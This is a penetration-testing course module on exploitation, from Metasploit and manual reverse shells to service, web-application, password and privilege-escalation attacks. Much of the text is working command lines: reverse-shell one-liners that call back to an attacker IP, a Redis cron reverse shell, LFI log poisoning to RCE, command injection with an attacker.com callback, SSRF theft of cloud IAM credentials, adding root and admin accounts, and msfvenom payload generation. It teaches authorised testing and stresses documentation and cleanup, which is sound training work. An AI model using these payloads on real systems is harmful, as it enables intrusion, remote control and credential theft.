Cybersecurity — Module 24
Exploitation — Techniques, Payloads, and Common Vulnerabilities
Metasploit framework, manual exploitation, reverse shells, common service exploits, web application exploitation, and the discipline of documenting everything while keeping impact minimal.
35 min May 2026
Exploitation is Phase 3 of the penetration testing methodology — the phase that turns a vulnerability hypothesis into a confirmed finding with proof of impact. Professional exploitation is disciplined and documented, not opportunistic and destructive. Every action is timestamped. Every command and its output is recorded. Nothing is run without understanding what it does.
The goal is a foothold — the minimum access needed to demonstrate real risk. That might be a shell as a low-privileged user, authenticated API access, or the ability to read a sensitive file. From the foothold, Phase 4 (post-exploitation) demonstrates how far that access extends. Exploitation does not mean destroying data, denying service, or leaving backdoors — those violate the Rules of Engagement and cause harm.
💡 Note
Every technique in this module is legal only when performed with explicit written authorisation on systems you own or are contracted to test. These techniques are identical to what criminal hackers use — the difference is authorisation.
Metasploit Framework — Systematic Exploitation
Metasploit is an open-source exploitation framework maintained by Rapid7. It provides a database of 2,000+ exploit modules, payload generators, encoders, and post-exploitation capabilities. The community edition (msfconsole) is free; the Pro version adds automation and reporting.
# Starting Metasploit msfconsole # Database setup (stores scan results and sessions) msfdb init db_status # verify database connection # Import nmap scan results db_nmap -sV -sC 192.168.1.10 # Now hosts and services are in the database: hosts # list discovered hosts services # list discovered services vulns # list detected vulnerabilities # ━━ FINDING AND USING MODULES ━━━━━━━━━━━━━━━━━━━━━━━━━━━ search cve:2021-41773 # search by CVE search type:exploit name:apache # search by type and name search ms17-010 # EternalBlue info exploit/windows/smb/ms17_010_eternalblue # module details use exploit/windows/smb/ms17_010_eternalblue show options # required and optional settings set RHOSTS 192.168.1.10 # target IP set LHOST 10.50.0.100 # attacker IP (for reverse shell) set LPORT 4444 # listener port show payloads # compatible payloads for this exploit set PAYLOAD windows/x64/meterpreter/reverse_tcp check # verify target is vulnerable without exploiting run # execute exploit # ━━ PAYLOAD TYPES ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ # Singles — self-contained, no stager needed windows/shell_reverse_tcp # raw TCP reverse shell (no Meterpreter) # Stagers + Stages — stager connects back, downloads full stage windows/x64/meterpreter/reverse_tcp # stager fetches Meterpreter (TCP) windows/x64/meterpreter/reverse_https # Meterpreter over HTTPS (blend with web traffic) linux/x64/meterpreter/reverse_tcp # Linux Meterpreter # Meterpreter — advanced payload with in-memory execution # Core commands: sysinfo # OS, hostname, architecture getuid # current user getpid # process ID of Meterpreter ps # list processes migrate 1234 # migrate into process 1234 (for stability/privilege) shell # drop to OS shell background # background session sessions -l # list open sessions sessions -i 1 # interact with session 1
Metasploit's strength is its payload variety and post-exploitation modules. Its weakness: AV/EDR solutions detect its well-known shellcode signatures. For red team engagements with detection evasion requirements, custom C2 frameworks (Cobalt Strike, Brute Rute, Sliver) are used instead.
Reverse Shells — Manual Techniques
When Metasploit is too noisy or unavailable, manual reverse shells work using tools already present on the target. These are especially useful after gaining command injection or RCE through a web vulnerability.
# ━━ LISTENER SETUP (attacker machine) ━━━━━━━━━━━━━━━━━━━
nc -lvnp 4444 # basic netcat listener
# or with rlwrap for history support:
rlwrap nc -lvnp 4444
# Better: use pwncat for a full TTY, file transfer, and persistence
pwncat-cs -lp 4444
# ━━ REVERSE SHELL ONE-LINERS (on target) ━━━━━━━━━━━━━━━━━
# Bash
bash -i >& /dev/tcp/10.50.0.100/4444 0>&1
# Bash (encoded, avoids > characters in some contexts)
bash -c 'exec bash -i &>/dev/tcp/10.50.0.100/4444 <&1'
# Python 3
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.50.0.100",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'
# Python 2
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.50.0.100",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# PHP (useful in web shell context)
php -r '$sock=fsockopen("10.50.0.100",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# PowerShell (Windows)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.50.0.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# Netcat (if -e version is available)
nc 10.50.0.100 4444 -e /bin/bash
# mkfifo (when nc doesn't have -e):
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.50.0.100 4444 >/tmp/f
# ━━ SHELL UPGRADE — GET A FULL TTY ━━━━━━━━━━━━━━━━━━━━━━
# Step 1: Spawn a PTY (on the target)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# or: script /dev/null -c bash
# Step 2: Background with Ctrl+Z
# Step 3: Configure terminal (on attacker)
stty raw -echo
fg
# Step 4: Fix terminal size
export TERM=xterm
stty rows 50 columns 200
# Now you have a full TTY: tab completion, arrow keys, clear, Ctrl+C worksCommon Network Service Exploits
The following are the service vulnerabilities most commonly exploited in professional engagements. These appear on OSCP exam machines and real-world assessments regularly.
Default and Weak Credentials
The most common finding in every pentest. Before trying CVEs, always test default credentials — it is faster, leaves less forensic evidence, and succeeds far more often than expected.
# Default credential lists — SecLists /usr/share/seclists/Passwords/Default-Credentials/ # Service-specific defaults: # SSH: root:root, root:toor, admin:admin, pi:raspberry (Raspberry Pi) # FTP: anonymous:(empty), admin:admin, ftp:ftp # MySQL: root:(empty), root:root, root:mysql # MSSQL: sa:(empty), sa:sa, sa:password # Redis: no auth by default on pre-7.0 installations # MongoDB: no auth by default if not configured # Jenkins: admin:admin, admin:password # Tomcat: tomcat:tomcat, admin:admin, tomcat:s3cret # SNMP: public (community string) # Printers: admin:admin, admin:(empty) # Automated default credential testing hydra -l admin -P /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt ssh://192.168.1.10 # CrackMapExec for Windows: crackmapexec smb 192.168.1.0/24 -u admin -p 'Password123' --continue-on-success
SSH Key Reuse and Misconfiguration
# Look for readable private keys find / -name "id_rsa" 2>/dev/null # private keys find / -name "*.pem" 2>/dev/null # PEM keys find / -name "authorized_keys" 2>/dev/null # Check .ssh directories of all users ls -la /home/*/.ssh/ ls -la /root/.ssh/ # Connect with found key chmod 600 found_id_rsa ssh -i found_id_rsa user@target.com # SSH agent forwarding abuse — if agent forwarding is enabled # and you compromise a hop server, you can use the agent socket SSH_AUTH_SOCK=/tmp/ssh-xxx/agent.1234 ssh user@next-target
Redis Unauthenticated RCE
# Redis with no auth + write to /var/spool/cron or ~/.ssh/ redis-cli -h 192.168.1.25 # Method 1: Write SSH public key to root's authorized_keys config set dir /root/.ssh/ config set dbfilename authorized_keys set pwn " ssh-rsa AAAAB3Nza... attacker@kali " save # Method 2: Write cron job (if /var/spool/cron is writable) config set dir /var/spool/cron/crontabs/ config set dbfilename root set 1 " * * * * * bash -i >& /dev/tcp/10.50.0.100/4444 0>&1 " save
File Inclusion and Path Traversal
# Local File Inclusion (LFI) — read arbitrary files # Test parameter: curl "http://target.com/page?file=../../../../etc/passwd" curl "http://target.com/page?file=....//....//....//etc/passwd" # bypass filter curl "http://target.com/page?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd" # URL encoded # Interesting files to read via LFI: # /etc/passwd — user list # /etc/shadow — password hashes (if root) # /var/log/apache2/access.log — log poisoning for RCE # /proc/self/environ — environment variables (may contain secrets) # /proc/self/cmdline — command line of running process # /home/user/.ssh/id_rsa — private key # Windows: C:\Windows\System32\drivers\etc\hosts # C:\inetpub\wwwroot\web.config # Log poisoning → LFI to RCE: # Step 1: inject PHP into User-Agent header curl -A '<?php system($_GET["cmd"]); ?>' http://target.com/ # Step 2: Include the log via LFI and execute curl "http://target.com/?file=/var/log/apache2/access.log&cmd=id" # PHP wrappers for LFI (read source code base64-encoded): curl "http://target.com/?file=php://filter/convert.base64-encode/resource=index.php" # Decode: echo <base64> | base64 -d
Web Application Exploitation — Core Techniques
Web vulnerabilities are the most commonly found class in professional assessments. This section covers the precise mechanics of the highest-impact web vulnerabilities — SQL injection, command injection, and SSRF — beyond what automated scanners check.
SQL Injection — Manual Testing
# Finding SQL injection — test every input parameter
# Start with single quote to break the query:
' OR '1'='1 → login bypass
' OR 1=1-- → comment out the rest of the query
' UNION SELECT 1,2,3-- → UNION-based injection
# sqlmap — automated SQLi exploitation (with authorisation only!)
sqlmap -u "http://target.com/search?q=test" --dbs
# -u: URL with injectable parameter
# --dbs: enumerate databases
sqlmap -u "http://target.com/search?q=test" -D mydb --tables
sqlmap -u "http://target.com/search?q=test" -D mydb -T users --dump
# POST request injection:
sqlmap -u "http://target.com/login" --data="username=admin&password=test" -p username --level=2 --risk=1
# With authentication headers:
sqlmap -u "http://target.com/api/data" --headers="Authorization: Bearer eyJ..." --data='{"id":"1"}' --dbs
# Blind SQLi — boolean-based (no error output)
# True condition: page renders normally
http://target.com/?id=1 AND 1=1
# False condition: page changes (empty, error, different content)
http://target.com/?id=1 AND 1=2
# Blind SQLi — time-based (use when boolean gives no visible difference)
# MySQL: sleep if true
http://target.com/?id=1 AND SLEEP(5)
# PostgreSQL:
http://target.com/?id=1; SELECT pg_sleep(5)--
# MSSQL:
http://target.com/?id=1; WAITFOR DELAY '0:0:5'--Command Injection
# Command injection — when user input reaches a system command # Common vulnerable contexts: ping tools, file converters, DNS lookups, image processors # Test with OS command terminators: ; id # run id after the original command | id # pipe output to id && id # run id if original command succeeds || id # run id if original command fails `id` # backtick execution (bash) $(id) # subshell execution # Example vulnerable URL: http://target.com/ping?host=8.8.8.8 # Test: http://target.com/ping?host=8.8.8.8;id http://target.com/ping?host=8.8.8.8%3Bid # URL-encoded semicolon http://target.com/ping?host=8.8.8.8%0Aid # newline terminator # Blind command injection — no output visible, use OOB or time delay http://target.com/ping?host=8.8.8.8; sleep 5 # time delay http://target.com/ping?host=8.8.8.8; curl http://attacker.com/$(id) # OOB DNS/HTTP # Once confirmed — reverse shell via command injection: http://target.com/ping?host=8.8.8.8;bash -c 'bash -i >%26 /dev/tcp/10.50.0.100/4444 0>%261' # Note: & must be URL-encoded as %26 in GET parameters
Server-Side Request Forgery (SSRF)
# SSRF — server fetches a URL you control instead of the intended target # Common parameters: url=, fetch=, redirect=, image=, proxy=, dest= # Step 1: Confirm SSRF with external callback # Use Burp Collaborator, interactsh, or a VPS you control http://target.com/fetch?url=http://attacker-callback.com/test # Step 2: Access internal services http://target.com/fetch?url=http://localhost/admin http://target.com/fetch?url=http://192.168.1.1/ # internal router http://target.com/fetch?url=http://10.0.0.1:8080/ # internal Jenkins http://target.com/fetch?url=http://127.0.0.1:6379/ # Redis on localhost # Step 3: Cloud metadata service — most impactful SSRF target # AWS IMDS (instance metadata): http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/ http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ # → Returns: temporary AWS access key, secret, session token # → Use externally to access S3, EC2, RDS as the compromised instance role # GCP metadata: http://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/ http://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token # SSRF bypass techniques (for filters blocking 127.0.0.1 / localhost): http://target.com/fetch?url=http://127.0.0.0.1/ # extra zeros http://target.com/fetch?url=http://2130706433/ # decimal IP (127.0.0.1) http://target.com/fetch?url=http://0x7f000001/ # hex IP http://target.com/fetch?url=http://[::1]/ # IPv6 loopback http://target.com/fetch?url=http://attacker.com/ # CNAME → 127.0.0.1
Password Attacks
Credential-based attacks remain the most common initial access vector. This section covers offline password cracking (after obtaining hashes) and online brute force/spraying.
# ━━ OFFLINE CRACKING — after obtaining password hashes ━━━━━━━━ # Hashcat — GPU-accelerated password cracking # Identify hash type first: hashid hash.txt hashcat --example-hashes | grep -A 2 "MODE: 1000" # NTLM = 1000 # Hash modes (hashcat -m): # 0: MD5 # 100: SHA1 # 1000: NTLM (Windows) # 1800: sha512crypt (Linux /etc/shadow) # 3200: bcrypt # 13400: KeePass # 22000: WPA-PBKDF2 (Wi-Fi) # Wordlist attack (most common — start here): hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt # Wordlist + rules (mangling — much more effective): hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule # Brute force (small password spaces only): hashcat -m 1000 hashes.txt -a 3 ?u?l?l?l?l?d?d?d?d # ?u=uppercase, ?l=lowercase, ?d=digit, ?s=special, ?a=all # John the Ripper — alternative, good for format auto-detection john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt john --show hashes.txt # display cracked passwords # ━━ ONLINE ATTACKS — against live services ━━━━━━━━━━━━━━━ # Hydra — multi-protocol online brute force hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10 hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.10 hydra -l admin -P passwords.txt http-post-form "http://target.com/login:username=^USER^&password=^PASS^:Invalid credentials" # Password spraying — one password against many accounts (avoids lockout) # Spraying rule: 1 attempt per account per lockout window (usually 30 min) crackmapexec smb 192.168.1.10 -u users.txt -p 'Password2024!' --continue-on-success crackmapexec smb 192.168.1.10 -u users.txt -p 'Company@2024' --continue-on-success # Office 365 spraying (if O365 in scope): MSOLSpray.py -u users.txt -p 'Password2024!' # Rate limit: 1 attempt per 30 seconds to avoid Smart Lockout
Privilege Escalation — Windows and Linux
Initial access rarely gives you the highest privilege. Privilege escalation takes you from a low-privileged shell to root (Linux) or SYSTEM/Administrator (Windows). This is required to complete the attack chain and demonstrate full compromise.
Linux Privilege Escalation
# Automated: LinPEAS — covers 200+ checks
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Manual checks — most commonly successful:
# 1. Sudo rights
sudo -l # what can this user sudo?
# Common win: (ALL) NOPASSWD: /usr/bin/vim → sudo vim → :!bash
# GTFOBins: gtfobins.github.io — sudo, SUID, cron PrivEsc for each binary
# 2. SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Unusual SUID binaries → check GTFOBins for exploitation method
# 3. Writable cron jobs
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/
# If cron runs a script you can write to → append reverse shell
# 4. Kernel exploits (use as last resort — can crash system)
uname -a # kernel version
searchsploit "Linux 4.4.0" # check for kernel exploits
# DirtyCow (CVE-2016-5195), Dirty Pipe (CVE-2022-0847) — well-known examples
# 5. Writable /etc/passwd
ls -la /etc/passwd
# If writable: add a new root user
echo 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0::/root:/bin/bash' >> /etc/passwd
su hacker # switch to new root user (password: hacker)
# 6. SUID Python/PHP/Perl → often trivial escalation
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'Windows Privilege Escalation
# Automated: WinPEAS .winPEAS.exe # PowerShell: PowerUp.ps1 Import-Module .PowerUp.ps1 Invoke-AllChecks # Manual checks: # 1. Token impersonation — Potato attacks # If SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege: whoami /priv # GodPotato, PrintSpoofer, RoguePotato → SYSTEM token via impersonation .GodPotato.exe -cmd "net user hacker P@ssw0rd /add && net localgroup Administrators hacker /add" # 2. Weak service permissions sc qc "vulnerable_service" # query service config accesschk.exe -ucqv * /accepteula # find services current user can modify # If writable: change binary path to your reverse shell sc config "vuln_svc" binPath= "C: emp everse.exe" sc stop "vuln_svc" && sc start "vuln_svc" # 3. AlwaysInstallElevated — MSI packages run as SYSTEM reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated # Both must be 1 → generate malicious MSI: msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.50.0.100 LPORT=4444 -f msi -o evil.msi msiexec /quiet /qn /i C:evil.msi # 4. Unquoted service paths wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\" # Service path: C:Program FilesVulnerable Appservice.exe # Writable C:Program Files → create C:Program.exe → runs as service user
Generating Payloads with msfvenom
msfvenom generates standalone payloads — executables, scripts, shellcode — that can be used without the Metasploit console running. Essential for situations where the target cannot connect to msfconsole directly.
# List available payloads msfvenom --list payloads | grep windows/x64 # Windows reverse shell EXE msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.50.0.100 LPORT=4444 -f exe -o reverse.exe # Windows Meterpreter DLL msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.50.0.100 LPORT=4444 -f dll -o reverse.dll # Linux ELF binary msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.50.0.100 LPORT=4444 -f elf -o reverse.elf # PHP web shell (when file upload vulnerability is found) msfvenom -p php/meterpreter_reverse_tcp LHOST=10.50.0.100 LPORT=4444 -f raw -o shell.php # PowerShell payload (for Windows without writing to disk) msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.50.0.100 LPORT=4444 -f ps1 -o reverse.ps1 # Handler to catch the connection: msfconsole -q -x "use multi/handler; set PAYLOAD windows/x64/shell_reverse_tcp; set LHOST 10.50.0.100; set LPORT 4444; run" # Alternative listener (no Metasploit): nc -lvnp 4444 # catches shell_reverse_tcp payloads (not Meterpreter)
Interview Questions — Exploitation Techniques
Q: What is the difference between a bind shell and a reverse shell?
A bind shell opens a port on the target machine and waits for the attacker to connect inbound. The attacker connects to target:port and gets a shell. Limitation: firewalls typically block inbound connections to unknown ports, making bind shells unreliable against firewalled targets. A reverse shell has the target machine connect outbound to the attacker's listener. Since outbound connections (especially on common ports like 443 or 80) are usually allowed by firewalls, reverse shells succeed more reliably. The trade-off: the attacker needs a publicly routable IP or a pivot point the target can reach.
Q: You run sqlmap and it reports the database as injectable. The client asks for proof. What do you provide?
Proof requires three things: the exact HTTP request that triggers the injection (method, URL, headers, parameter), the exact payload used (e.g., the UNION SELECT or time-delay payload), and the response that confirms exploitation. For UNION-based injection, screenshot the extracted data (with sensitive real data redacted). For blind SQLi, show the time-delay response demonstrating the condition is controlled. Also include the sqlmap command and output flags. The client must be able to reproduce the finding in their own environment to confirm the fix — without a reproducible proof of concept, they cannot validate remediation.
Q: What is SeImpersonatePrivilege and why is it dangerous on Windows?
SeImpersonatePrivilege allows a process to impersonate the security context of another user after obtaining their token. It is normally granted to service accounts (IIS application pool, SQL Server service) so they can impersonate the requesting user for database or file access. It is dangerous because techniques like PrintSpoofer, GodPotato, and the Potato family exploit this privilege to coerce the SYSTEM account into authenticating to a named pipe controlled by the attacker. The attacker captures the SYSTEM token via the impersonation right and uses it to execute commands as SYSTEM. If a web shell or SQL injection gives you code execution as a service account with SeImpersonatePrivilege, privilege escalation to SYSTEM is typically trivial.
Q: Why is command injection often more impactful than SQL injection?
SQL injection gives you access to the database — the data layer. Command injection gives you arbitrary operating system command execution as the web server user — potentially giving you file system access, network access to internal services, the ability to install software, and a foothold for privilege escalation. From a command injection shell you can read the database credentials from the application's config file, access other services on the internal network, and pivot deeper into the infrastructure. SQL injection, while serious, is bounded by what the database account can do. Command injection is bounded only by what the OS user can do and what the kernel allows.
Q: You have a low-privileged shell on a Linux box. Walk me through your privilege escalation process.
First, situational awareness: whoami, id, uname -a, hostname, cat /etc/os-release to understand the environment. Second, run LinPEAS for a comprehensive automated sweep. While it runs, manually check the highest-success categories: sudo -l for passwordless sudo rights (cross-reference GTFOBins for each allowed binary), find / -perm -4000 (suppressing stderr) for unusual SUID binaries, crontab -l and /etc/cron.d for scripts running as root that you can write to. Third, check writable files in sensitive locations: /etc/passwd, /etc/sudoers. Fourth, look for credentials: grep -r password /var/www/ (suppressing stderr), check .bash_history, look for config files with credentials. Fifth, if nothing else works and the kernel is old, check searchsploit for kernel exploits — but try these last because they risk crashing the system.
Common Mistakes — Exploitation
✗ Running exploits without understanding what they do
Why it happens: Copy-pasting a Metasploit module or exploit script without reading what it does. Some exploits crash services, delete files, create persistent backdoors, or cause denial of service — all of which violate Rules of Engagement.
Fix: Read the exploit code or Metasploit module info before running it. Use the 'check' command in Metasploit before 'run' when available. Run exploit modules in a lab environment first if you have not used them before. Understand the blast radius before pulling the trigger.
✗ Not documenting actions in real time during exploitation
Why it happens: Getting excited when an exploit works and jumping to the next step without recording what you did. Two hours later the session dies and you cannot reproduce the exploitation path for the report.
Fix: Use a terminal multiplexer with session logging (tmux + script or tmux-logging plugin). Keep a timestamped notes file open in a second terminal. Take screenshots immediately after every successful exploitation step. The rule: if you cannot prove it, it did not happen.
✗ Using sqlmap --level 5 --risk 3 on production
Why it happens: High-level sqlmap settings send large numbers of requests including time-delay payloads that can degrade application performance, trigger WAF blocks, and exhaust database connection pools on production systems.
Fix: Start with --level 1 --risk 1 (default) which covers the most common injection points without heavy load. Only increase levels if initial testing finds nothing and you have confirmed with the client that the system can tolerate higher load. On production systems, prefer manual testing after automated tools confirm a vulnerable parameter.
✗ Exfiltrating real customer data as proof
Why it happens: To prove SQL injection is real, a tester dumps the first 100 rows of the users table including real names, emails, and hashed passwords. This creates a data breach — the company now has a GDPR/CCPA notification obligation for data they did not actually breach.
Fix: Proof does not require real data. Show the SQL query, the response structure (number of rows, column names), and a screenshot with real values redacted or replaced with [REDACTED]. Alternatively, inject a known test value and show its retrieval. The client's security team can reproduce the finding with real data in their own controlled environment.
✗ Leaving shells and backdoors running after the engagement ends
Why it happens: Forgetting to clean up netcat listeners, Meterpreter sessions, cron jobs, web shells, or new user accounts created during testing. These remain as active vulnerabilities or provide entry points for real attackers after the engagement ends.
Fix: Maintain a cleanup checklist throughout the engagement: every artifact created (files, users, cron entries, registry keys) is logged and removed before the final report is delivered. The RoE should specify cleanup requirements. At engagement close, provide the client with a list of all artifacts created so they can verify removal independently.
🎯 Key Takeaways
- ✓Exploitation is disciplined, not opportunistic — every action is timestamped, every command recorded, every result documented before moving to the next step. No exceptions.
- ✓Metasploit provides 2,000+ exploit modules, payload generators, and post-exploitation capabilities. The "check" command verifies vulnerability before running an exploit.
- ✓Reverse shells are more reliable than bind shells against firewalled targets — outbound connections on ports 443 or 80 are usually allowed where inbound connections are not.
- ✓Default and weak credentials should always be tested before CVE exploitation — they succeed frequently, leave less forensic evidence, and reveal a more fundamental security failure.
- ✓SSRF targeting the AWS IMDS endpoint (169.254.169.254) can return temporary IAM credentials that grant the same cloud permissions as the compromised instance — potentially catastrophic.
- ✓SQL injection proof requires the exact request, exact payload, and a response demonstrating impact — with real sensitive data redacted. Real customer data must never be exfiltrated.
- ✓SeImpersonatePrivilege on Windows service accounts enables Potato-family attacks to achieve SYSTEM from a web shell or SQL server execution context.
- ✓LinPEAS (Linux) and WinPEAS (Windows) automate privilege escalation enumeration — but always check sudo -l, SUID binaries, and cron jobs manually as highest-probability vectors.
- ✓msfvenom generates standalone payloads for contexts where a Metasploit console cannot be maintained — EXE, DLL, ELF, PHP, and PowerShell formats all available.
- ✓Clean up all artifacts (shells, users, files, cron jobs, registry keys) before the engagement ends and provide the client a cleanup log. Leaving backdoors is a scope violation that creates real vulnerability.
💡 Note
You have a foothold. In Module 25: Web Application Pentesting, you go deep on the web attack surface — manual testing methodology for every OWASP Top 10 category, Burp Suite as your primary proxy, business logic vulnerabilities that automated scanners never find, and the systematic approach to testing modern web applications.
Share
Discussion
0Have a better approach? Found something outdated? Share it — your knowledge helps everyone learning here.
Loading...